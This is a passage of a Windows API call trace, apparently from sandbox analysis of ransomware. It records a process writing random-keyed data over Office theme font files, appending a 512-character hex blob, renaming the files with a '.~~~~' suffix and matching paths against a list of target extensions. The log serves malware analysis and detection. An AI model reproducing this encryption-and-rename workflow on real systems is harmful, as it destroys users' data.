	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.893] GetLastError () returned 0x0
	[0122.893] GetLastError () returned 0x0
	[0122.893] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.893] GetLastError () returned 0x0
	[0122.893] GetLastError () returned 0x0
	[0122.896] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1e7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.896] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xe19, lpOverlapped=0x0) returned 1
	[0122.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.897] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.898] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.898] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.898] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.898] CloseHandle (hObject=0x128) returned 1
	[0122.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8700
	[0122.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.~~~~")) returned 1
	[0122.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8700 | out: hHeap=0x300000) returned 1
	[0122.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.900] GetLastError () returned 0x0
	[0122.900] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.902] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.902] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.902] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24289216672) returned 1
	[0122.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2b914d0, dwHighDateTime=0x1d60e1e)) 
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e298
	[0122.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e298 | out: hHeap=0x300000) returned 1
	[0122.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ec9f8
	[0122.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ec9f8 | out: hHeap=0x300000) returned 1
	[0122.903] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.903] GetLastError () returned 0x0
	[0122.903] GetLastError () returned 0x0
	[0122.903] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.904] GetLastError () returned 0x0
	[0122.904] GetLastError () returned 0x0
	[0122.908] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.908] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xe2a, lpOverlapped=0x0) returned 1
	[0122.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.909] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.910] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.910] CloseHandle (hObject=0x128) returned 1
	[0122.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390710
	[0122.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.~~~~")) returned 1
	[0122.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390710 | out: hHeap=0x300000) returned 1
	[0122.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.911] GetLastError () returned 0x0
	[0122.912] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.913] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.913] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.913] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24290346889) returned 1
	[0122.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2bb7630, dwHighDateTime=0x1d60e1e)) 
	[0122.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd58
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd58 | out: hHeap=0x300000) returned 1
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0122.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.914] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0122.914] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.914] GetLastError () returned 0x0
	[0122.914] GetLastError () returned 0x0
	[0122.915] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.915] GetLastError () returned 0x0
	[0122.915] GetLastError () returned 0x0
	[0122.978] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff112, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.978] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xeee, lpOverlapped=0x0) returned 1
	[0122.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.980] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.980] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.980] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.980] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.981] CloseHandle (hObject=0x128) returned 1
	[0122.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0122.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.~~~~")) returned 1
	[0123.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0123.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.118] GetLastError () returned 0x0
	[0123.118] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942f50) returned 1
	[0123.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.119] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.119] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24310951143) returned 1
	[0123.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2da6810, dwHighDateTime=0x1d60e1e)) 
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f368
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f368 | out: hHeap=0x300000) returned 1
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0123.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0123.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.120] GetLastError () returned 0x0
	[0123.120] GetLastError () returned 0x0
	[0123.120] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.120] GetLastError () returned 0x0
	[0123.121] GetLastError () returned 0x0
	[0123.134] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.134] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe0e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xe0e, lpOverlapped=0x0) returned 1
	[0123.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.136] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.136] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.136] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.136] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.136] CloseHandle (hObject=0x128) returned 1
	[0123.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3914b8
	[0123.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.~~~~")) returned 1
	[0123.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3914b8 | out: hHeap=0x300000) returned 1
	[0123.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.138] GetLastError () returned 0x0
	[0123.138] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942f50) returned 1
	[0123.140] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.140] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.140] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24313040438) returned 1
	[0123.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2df2ad0, dwHighDateTime=0x1d60e1e)) 
	[0123.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f3a0
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f3a0 | out: hHeap=0x300000) returned 1
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7480
	[0123.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7480 | out: hHeap=0x300000) returned 1
	[0123.141] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.141] GetLastError () returned 0x0
	[0123.142] GetLastError () returned 0x0
	[0123.142] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.142] GetLastError () returned 0x0
	[0123.142] GetLastError () returned 0x0
	[0123.153] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff23a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.153] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xdc6, lpOverlapped=0x0) returned 1
	[0123.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.154] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.154] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.154] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.154] CloseHandle (hObject=0x128) returned 1
	[0123.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3914b8
	[0123.183] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.~~~~")) returned 1
	[0123.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3914b8 | out: hHeap=0x300000) returned 1
	[0123.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.389] GetLastError () returned 0x0
	[0123.417] lstrlenW (lpString=".sqb") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".sqb") returned 0x0
	[0123.417] lstrlenW (lpString=".ost") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".ost") returned 0x0
	[0123.417] lstrlenW (lpString=".txt") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".txt") returned 0x0
	[0123.417] lstrlenW (lpString=".mdt") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".mdt") returned 0x0
	[0123.417] lstrlenW (lpString=".BDB") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".BDB") returned 0x0
	[0123.417] lstrlenW (lpString=".eql") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".eql") returned 0x0
	[0123.417] lstrlenW (lpString=".DBF") returned 4
